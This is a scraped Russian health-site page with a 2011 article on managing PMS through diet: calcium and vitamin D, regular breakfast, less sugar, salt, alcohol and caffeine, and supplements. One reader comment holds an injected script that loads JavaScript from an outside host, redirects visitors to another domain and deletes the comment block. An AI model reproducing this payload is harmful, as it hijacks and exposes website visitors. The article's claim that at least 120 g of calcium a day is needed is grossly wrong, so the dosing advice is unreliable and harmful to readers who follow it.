Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  ПМС: что есть? И что пить  >>  ПМС: что есть? И что пить
 
Обратная связь
 

ПМС: что есть? И что пить

Размер шрифта
Жанна Карнаухова/ «Здоровье инфо»
14 сентября 2011 06:54
  • google_analytics: false
  • Нравится

Предменструальный синдром может протекать по разному и причин этому много: индивидуальные особенности организма, уровень гормонов и т.д. А еще один фактор, который может повлиять на интенсивность ПМС – это питание. «Здоровье инфо» расскажет о том, как можно регулировать симптомы ПМС при помощи того, что мы едим.

ПМС 

  1. Успокоительный кальций

Уже доказано, что ПМС слабее проявляется у тех женщин, которые употребляют много кальция и витамина D. Достаточно употреблять хотя бы 120 г кальция в сутки, чтобы избавиться от ряда симптомов ПМС. Лучше всего получать кальций из молочных продуктов.

Кальций и витамин D снимают именно эмоциональные последствия синдрома. Ученые предполагают, что это связано с тем, что они могут влиять на участки мозга, которые ответственны за депрессию и тревожность.

  1. Не пропускайте завтрак

Вообще это обязательная рекомендация для всех, ведь завтрак – это важный элемент ежедневного питания. Если же вы пропускаете завтрак при ПМС, то ваша раздражительность только повысится из-за снижения уровня сахара в крови.

  1. Больше растений

Лучше правильно питаться в течение всего месяца, чем лихорадочно менять диету, когда на горизонте покажется ПМС. Включите в свой рацион зерновые, нежирное мясо, фрукты и овощи. Они поддержат нужный уровень витаминов в организме, и их дефицит не проявит себя неприятным симптомом во время ПМС. Исследования показывают, что женщины, чей рацион был богат витамином В (содержится во многих крупах), не так болезненно переживают ПМС.

  1. Меньше сахара

Тяга к сладенькому связана со снижением уровня серотонина (активного химического вещества, влияющего на наше поведение) в мозгу во время ПМС. Это приводит к тому, что женщина потребляет на 200-500 ккал больше, чем обычно из-за лишних конфет и шоколадок. Этому есть альтернатива – ешьте цельнозерновые продукты.

ПМС

  1. Смотрите, что вы пьете

Алкоголь и кофеин, помимо того, что могут усилить депрессию при ПМС, также способствуют вздутию груди и живота. Так что не стоит топить печаль в вине, а то станете еще печальнее. Чтобы вздутий не возникало, специалисты советуют пить больше воды.

  1. Помните о соли

Вздутие живота происходит из-задержки солей в организме. Так что постарайтесь при ПМС минимизировать количество натрия в рационе. Избегайте полуфабрикатов – уровень соли в них зачастую превышает все мыслимые пределы.

  1. Полезные добавки

Нужный уровень витаминов можно поддерживать и при помощи поливитаминных добавок. Например, американские ученые советуют принимать 100 мг витамина В6 в день, 600 мг кальция карбоната с витамином D ежедневно, а также 400 мг окиси магния. Это улучшит настроение, а магний поможет выводить лишнюю жидкость. Прежде чем принимать любые поливитаминные добавки, обязательно проконсультируйтесь с врачом.

  1. Не забывайте об остальных факторах

Даже если вы следуете всем нашим рекомендациям, помните, что ПМС зависит не только от питания. Большое значение играет образ жизни. Не курите, так как сигареты увеличивают риск тяжелого протекания ПМС. Спите подольше – нередко при ПМС требуется больше сна, чем обычно. И поддерживайте себя в форме – люди с избыточным весом

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

01 июля 2015 в 00:08

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Тампон против менструальной чаши. Что лучше?   Боль в колене: еда против боли   Подруги знают, сколько вы проживете, по вашему характеру   Менструальные болезни. Эндометриоз  
14 февраля 2012Переедание приводит к потере памяти 01 сентября 2011Женщины должны есть медленно
 
01 августа 2011Больше жевать – меньше есть 28 июля 2011Шунтирование желудка меняет вкусовые пристрастия
 

Слайдшоу

1
ПМС: что есть и что пить?
Как избавиться от ужасных месячных?
Месячные: что ненормально?

Тесты

Как подобрать контрацептивы?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.